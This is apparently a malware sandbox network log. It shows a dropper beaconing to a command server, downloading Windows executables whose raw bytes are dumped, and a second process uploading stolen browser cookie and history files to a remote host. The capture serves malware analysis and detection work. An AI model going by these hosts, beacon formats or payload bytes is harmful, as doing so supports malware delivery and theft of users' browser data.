Nov 7, 2024 06:01:20.702868938 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 35 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004534001&unit=246122658369
Nov 7, 2024 06:01:21.616497993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49870	185.215.113.16	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:21.788821936 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Thu, 07 Nov 2024 04:53:51 GMT If-None-Match: "672c47df-208c00"
Nov 7, 2024 06:01:22.950498104 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:22 GMT Last-Modified: Thu, 07 Nov 2024 04:53:51 GMT Connection: keep-alive ETag: "672c47df-208c00"
Nov 7, 2024 06:01:22.950690031 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:22 GMT Last-Modified: Thu, 07 Nov 2024 04:53:51 GMT Connection: keep-alive ETag: "672c47df-208c00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49885	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:25.236604929 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 35 33 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004535031&unit=246122658369
Nov 7, 2024 06:01:26.155730963 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49891	185.215.113.16	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:26.233843088 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 7, 2024 06:01:27.130007982 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:26 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Thu, 07 Nov 2024 03:55:04 GMT Connection: keep-alive ETag: "672c3a18-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 11 ed 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,+`Ui` @ @.rsrc`2@.idata 8@bfkuwakp+*:@vmlssxim ++@.taggant@+""+@
Nov 7, 2024 06:01:27.130040884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:27.130059958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:27.130070925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:27.130081892 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:27.130095005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:27.130106926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:27.130120039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:27.130132914 CET	1236	IN	Data Raw: db 00 af 06 9d b2 7e e7 18 a3 5e 16 c1 a2 6b 8f 24 a9 52 6e 3e 67 03 e3 d6 54 38 ff 5b c7 04 cb e3 18 46 79 39 7b 81 40 f4 cb 49 6b 8c bf f3 26 0e aa 31 d1 25 31 89 f8 24 08 9c 35 d9 ee 8f 2e 16 7d d5 a4 8a 29 32 07 56 99 8a a1 01 d3 a8 6a 27 d7 Data Ascii: ~^k$Rn>gT8[Fy9{@Ik&1%1$5.})2Vj'4c+#xWYqly>{w5)'Rmb*aqE}nY#=V3t!B]@K=U({v`^jDm4\|}wdSeYuddk(To-xV
Nov 7, 2024 06:01:27.130146980 CET	1236	IN	Data Raw: 5b 14 65 43 6e d8 a8 c0 a3 a4 52 b9 59 b9 b7 37 ed 0d 61 59 9a d7 2b f9 4a 2a 79 84 fd d8 bd 70 a4 a0 7c 2b a6 da de 6a 4c db 0f 30 65 f4 d1 33 da cb 4d 25 e0 79 77 c3 59 49 8f 9f 72 44 fd 29 5c 56 8d 14 ae c1 5c 30 f0 9d 56 11 77 39 f4 13 1d 4e Data Ascii: [eCnRY7aY+Jyp\|+jL0e3M%ywYIrD)\V\0Vw9N<9A0m#c(XZ[Qam87wQCp3WOG=HN)r?%K[99fQ1}RpDINWhG-AP2Tea.jK&'_CnY
Nov 7, 2024 06:01:27.135200024 CET	1236	IN	Data Raw: 62 cc 45 ef 28 da 34 6d 57 4e c6 2a 31 e3 d5 22 7c 9a 04 fa 75 b0 b3 8f 42 40 17 5d 70 f8 31 a6 a1 07 f9 96 18 32 ff 37 1b fb 03 23 22 e2 58 42 92 0c 0d 36 48 f4 f8 26 9d 5c 7e 10 9a eb 0f 86 37 d5 89 3b 7d af 07 52 a7 09 99 56 46 8b 84 43 94 10 Data Ascii: bE(4mWN1"\|uB@]p127#"XB6H&\~7;}RVFC-+cX/BecTYP$eeFUY$PT'5W>p$?PT&;F*D>sNoCJltO+"/I~cXD1e{?-B,RK3N+B77q0gd1rP?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49931	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:31.549025059 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 35 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004536001&unit=246122658369
Nov 7, 2024 06:01:32.432945013 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49954	185.215.113.16	80	3288	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:34.106014967 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 7, 2024 06:01:35.027297020 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:34 GMT Content-Type: application/octet-stream Content-Length: 2132992 Last-Modified: Thu, 07 Nov 2024 04:53:51 GMT Connection: keep-alive ETag: "672c47df-208c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 29 d7 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r) @P.d. p.v@.rsrc .@.idata .@ ).@wltmzozyX@awschmvgprf @.taggant0r"j @
Nov 7, 2024 06:01:35.027342081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:35.027357101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:35.027369022 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:35.027379990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:35.027400970 CET	1236	IN	Data Raw: a6 fb 7e 4c 86 34 c7 66 16 7e 77 77 4d 3a 7d e8 53 cb fc da b2 33 f4 93 0d 23 c0 09 15 44 77 e8 2e 87 59 1b 15 af 7f dc 2e 87 13 2e 15 af 7f d0 2e 88 cd 3f 15 d0 f4 e7 c2 fb 3c e4 b6 42 75 8c a0 24 9d a9 4a 88 89 36 dd 99 7e e9 c0 57 33 d9 7c 37 Data Ascii: ~L4f~wwM:}S3#Dw.Y...?<Bu$J6~W3\|7rm'$%{yDAnpzj@TMa<@.wq.Cv$HA9$j'073#lx.#z$Ek&$byrq,0ha?O!7
Nov 7, 2024 06:01:35.027410984 CET	1236	IN	Data Raw: b8 3d 67 c3 54 8c 6b e4 0a 56 9b 05 27 b5 53 e8 23 dd df 32 e5 3e e8 95 94 0c a0 0c ae a8 4b 89 a2 a3 76 61 aa d1 49 b0 8d 46 a0 12 79 42 4e fb df af 7a e8 1c 4f 19 dd aa 26 ad c9 95 fd c5 59 86 4d 0e dc 8f fb a3 0e fb b6 29 f7 96 70 e2 7a 63 1c Data Ascii: =gTkV'S#2>KvaIFyBNzO&YM)pzckx3kJ3l1c3~Xg@m@)e/usB~@kECoj%[oVHe`@ m6][<=-'m2{/Ia/Bg
Nov 7, 2024 06:01:35.027422905 CET	1236	IN	Data Raw: f3 c1 cf b2 9b 4f 70 55 9e 0f 22 8b 93 3b 84 ba 96 87 e7 66 ef ff 9d 6a 82 2c 6f bc 2a de c2 d8 1a 6a 2f 55 9b ef 66 9e 30 fc ea 4d 1e db 77 b2 ba 22 9c 6d 2a dd f9 b7 ff 3b 78 60 e6 27 50 cc b2 22 72 cc 02 2c 21 44 85 3a f4 a8 11 b9 9f dd 92 7f Data Ascii: OpU";fj,oj/Uf0Mw"m;x`'P"r,!D:E<k!F4~0!bxo/gg;z;f#x"Tmx,P&U{PO#Kt;#}pjko.3$XIzcIMgX&ND
Nov 7, 2024 06:01:35.028218985 CET	848	IN	Data Raw: 1a 2f 2f a1 cf fa a4 e5 b2 3b 5e 66 d4 df 77 d5 ba 33 df 6c c8 61 87 87 9b bb 67 64 26 06 2c e2 b2 df 90 1b 1a c7 78 54 89 ab c3 f8 83 d7 20 50 a4 2c 7f c1 86 2a 51 00 1b 11 94 ed a4 2c 61 bc 4e e0 04 48 d2 9b 78 44 26 22 c8 e7 ab 67 49 5d af 8b Data Ascii: //;^fw3lagd&,xT P,*Q,aNHxD&"gI]&:p^c6!BCb!b;adxuP#,dd0\|x\,'/pj.!g.w&`g=3Ol{+xh&\,b3b,!(
Nov 7, 2024 06:01:35.028232098 CET	1236	IN	Data Raw: e4 0e 1f dd 95 bd 31 94 ed 24 d7 ec a6 03 fe fa c4 0d 0d 8a 75 e1 6e b4 87 1b 67 dd 43 68 33 5c 4a 03 00 de ea 3b a7 66 db 4f fc 6a d2 2c 6f 94 2a 9e c3 e0 35 79 55 55 9b c3 67 5e 30 fe ae 28 41 b3 00 de 1e 3b 5c 66 eb 2b 08 2d e2 fb 77 e5 c6 87 Data Ascii: 1$ungCh3\J;fOj,o*5yUUg^0(A;\f+-wt{pKp[@Q I!&Y f%=p:t>OpA{wb,!4tpsG-ZxJ$zz7\qzLn3!"elBo,`
Nov 7, 2024 06:01:35.032284021 CET	1236	IN	Data Raw: 58 4b 51 1f 93 53 e3 73 db f5 35 8a 7e 41 3f 30 d2 5b 79 2c b7 32 e6 78 28 08 9b 61 b0 7f e6 83 6a 3d b7 30 36 25 07 b6 aa 3a d9 a4 61 83 bb 38 3d d2 35 20 99 bc 1b e7 a4 d0 17 4c 6a 36 a4 3c 9e c1 cf e8 32 c0 2c fb bb c5 f4 e8 ab 3f c7 9c c7 55 Data Ascii: XKQSs5~A?0[y,2x(aj=06%:a8=5 Lj6<2,?U^; %1i/T0n[5A-Kr"s7&Ea#ieXau'@y"#GU@!:FX3r/Y4bIapjX?A"W/wKQNW"g:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49955	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:34.111077070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 7, 2024 06:01:35.035039902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49964	185.215.113.206	80	3980	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:35.057585955 CET	629	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JDGIECGIEBKJJJJKEGHJ--
Nov 7, 2024 06:01:36.475522995 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:36.841016054 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 06:01:36.841089010 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 7, 2024 06:01:37.624923944 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:37.649734020 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="file"------ECFHJKEBAAECBFHIECGI--
Nov 7, 2024 06:01:38.431554079 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:39.552234888 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file"------HIIEBAFCBKFIDGCAKKKF--
Nov 7, 2024 06:01:40.332324028 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:40.719440937 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
